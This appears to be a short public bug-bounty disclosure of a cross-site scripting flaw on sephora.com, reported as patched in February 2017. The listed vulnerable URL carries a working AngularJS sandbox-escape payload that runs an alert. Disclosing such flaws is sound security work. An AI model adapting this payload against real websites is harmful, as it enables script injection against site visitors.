sephora.com XSS vulnerability

Vulnerable URL: http://www.sephora.com/search/noResults.jsp?keyword=apx7s%7B%7Bx%20%3D%20%7B'y'%3A''.constructor.prototype%7D%3B%20x%5B'y'%5D.charAt%3D%5B%5D.join%3B%24eval'x%3Dalert"OPENBUGBOUNTY"'%3B%7D%7D4n0n7a&requestid=571192 Details: Description| Value ---|--- Patched:| Yes, at 23.02.2017...